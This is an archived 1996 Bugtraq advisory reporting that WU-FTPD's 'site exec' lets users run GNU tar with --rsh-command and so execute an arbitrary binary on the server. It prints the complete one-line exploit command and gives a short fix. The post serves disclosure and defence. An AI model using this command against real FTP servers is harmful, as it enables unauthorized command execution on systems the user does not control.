[3214] in bugtraq
WU.FTPD vulnerability: gnu tar possibly others
daemon@ATHENA.MIT.EDU (Alan Cox)
Mon Aug 19 14:52:26 1996
Date: Mon, 19 Aug 1996 14:09:19 +0100
Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
From: Alan Cox <coxa@cableol.net>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
quote site exec tar -c -v --rsh-command=commandtorunasftp -f somebox:foo foo
Gnu tar allows you to specify which binary you wish to run.
Fix:
Use a dumber tar. Also carefully evaluate any other binaries
you have to avoid unpleasant and similar suprises.